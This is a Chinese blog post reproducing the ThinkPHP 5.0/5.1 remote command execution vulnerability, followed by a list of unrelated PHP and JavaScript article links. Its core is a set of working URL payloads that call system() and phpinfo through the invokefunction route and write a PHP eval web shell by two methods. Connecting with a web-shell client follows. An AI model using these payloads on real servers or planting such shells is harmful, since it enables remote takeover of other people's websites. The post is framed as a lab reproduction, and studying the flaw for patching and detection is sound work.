ThinkPHP 5.x远程命令执行漏洞复现


Posted in PHP onSeptember 23, 2019

一、漏洞描述

2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞:

https://blog.thinkphp.cn/869075 

漏洞的原因是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行,受影响的版本包括5.0和5.1。

二、漏洞影响版本

Thinkphp 5.x-Thinkphp 5.1.31

Thinkphp 5.0.x<=5.0.23

三、漏洞复现

1、官网下载Thinkphp 5.0.22,下载地址: http://www.thinkphp.cn/donate/download/id/1260.html

2、使用phpstudy搭建环境,解压下载的Thinkphp5.0.22到网站目录下,浏览器访问http://192.168.10.171/thinkphp5.0.22/public

 ThinkPHP 5.x远程命令执行漏洞复现 

3、利用system函数远程命令执行

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

ThinkPHP 5.x远程命令执行漏洞复现

4、通过phpinfo函数查看phpinfo()的信息 

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

ThinkPHP 5.x远程命令执行漏洞复现

5、写入shell

Payload如下:

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php

注意:需要对特殊字符使用^转义(cmd环境下转义方式),windows环境的echo命令输出字符串到文档不用引号(单引号、双引号),部分字符url编码不编码都行。

ThinkPHP 5.x远程命令执行漏洞复现

6、查看是否成功写入shell

ThinkPHP 5.x远程命令执行漏洞复现

7、菜刀连接

ThinkPHP 5.x远程命令执行漏洞复现

8、第二种的写入shell的方法

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_POST[test]);?>

ThinkPHP 5.x远程命令执行漏洞复现

9、查看是否成功写入文件

ThinkPHP 5.x远程命令执行漏洞复现

10、菜刀连接

ThinkPHP 5.x远程命令执行漏洞复现

总结

以上所述是小编给大家介绍的ThinkPHP 5.x远程命令执行漏洞复现,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!
如果你觉得本文对你有帮助,欢迎转载,烦请注明出处,谢谢!

PHP 相关文章推荐
PHP的FTP学习(二)[转自奥索]
Oct 09 PHP
我的论坛源代码(四)
Oct 09 PHP
mysql 搜索之简单应用
Apr 27 PHP
PHP获取文件后缀名的三个函数
Oct 15 PHP
使用dump函数,给php加断点测试
Jun 25 PHP
PHP中exec函数和shell_exec函数的区别
Aug 20 PHP
一个经典实用的PHP图像处理类分享
Nov 18 PHP
PHP 正则表达式小结
Feb 12 PHP
PHP+APACHE实现网址伪静态
Feb 22 PHP
php文件扩展名判断及获取文件扩展名的N种方法
Sep 12 PHP
PHP面向对象多态性实现方法简单示例
Sep 27 PHP
Laravel5.7 数据库操作迁移的实现方法
Apr 12 PHP
PHP开启目录引索+fancyindex漂亮目录浏览带搜索功能
Sep 23 #PHP
redis+php实现微博(三)微博列表功能详解
Sep 23 #PHP
redis+php实现微博(二)发布与关注功能详解
Sep 23 #PHP
redis+php实现微博(一)注册与登录功能详解
Sep 23 #PHP
php日志函数error_log用法实例分析
Sep 23 #PHP
php扩展开发入门demo示例
Sep 23 #PHP
PHP使用phpunit进行单元测试示例
Sep 23 #PHP
You might like
基于Zend的Config机制的应用分析
2013/05/02 PHP
php实现的简单日志写入函数
2015/03/31 PHP
php实现常见图片格式的水印和缩略图制作(面向对象)
2016/06/15 PHP
PHP验证终端类型是否为手机的简单实例
2017/02/07 PHP
利用PHP判断是否是连乘数字串的方法示例
2017/07/03 PHP
jquery.validate使用攻略 第五步 正则验证
2010/07/01 Javascript
js模仿windows桌面图标排列算法具体实现(附图)
2013/06/16 Javascript
jquery判断小数点两位和自动删除小数两位后的数字
2014/03/19 Javascript
Javascript动态创建表格及删除行列的方法
2015/05/15 Javascript
原生js实现类似fullpage的单页/全屏滚动
2017/01/22 Javascript
jQuery+C#实现参数RSA加密传输功能【附jsencrypt.js下载】
2017/06/26 jQuery
利用Javascript开发一个二维周视图日历
2017/12/14 Javascript
Vue 拦截器对token过期处理方法
2018/01/23 Javascript
nodejs前端模板引擎swig入门详解
2018/05/15 NodeJs
一个Vue视频媒体多段裁剪组件的实现示例
2018/08/09 Javascript
javascript canvas封装动态时钟
2020/09/30 Javascript
[59:48]DOTA2-DPC中国联赛 正赛 VG vs Magma BO3 第一场 1月26日
2021/03/11 DOTA
python用ConfigObj读写配置文件的实现代码
2013/03/04 Python
Python contextlib模块使用示例
2015/02/18 Python
利用Python为iOS10生成图标和截屏
2016/09/24 Python
Python3结合Dlib实现人脸识别和剪切
2018/01/24 Python
详解Python函数式编程—高阶函数
2019/03/29 Python
解决Django连接db遇到的问题
2019/08/29 Python
基于Python3.7.1无法导入Numpy的解决方式
2020/03/09 Python
Python 为什么推荐蛇形命名法原因浅析
2020/06/18 Python
python else语句在循环中的运用详解
2020/07/06 Python
简述python&amp;pytorch 随机种子的实现
2020/10/07 Python
pandas 按日期范围筛选数据的实现
2021/02/20 Python
意大利消费电子产品购物网站:SLG Store
2019/12/26 全球购物
如何写一份好的自荐信
2014/01/02 职场文书
关于元旦的广播稿
2014/02/16 职场文书
毕业生求职信
2014/06/10 职场文书
施工单位工程部经理岗位职责
2015/04/09 职场文书
中秋节主题班会
2015/08/14 职场文书
个人工作总结怎么写?
2019/04/09 职场文书
浅谈Redis的keys命令到底有多慢
2021/10/05 Redis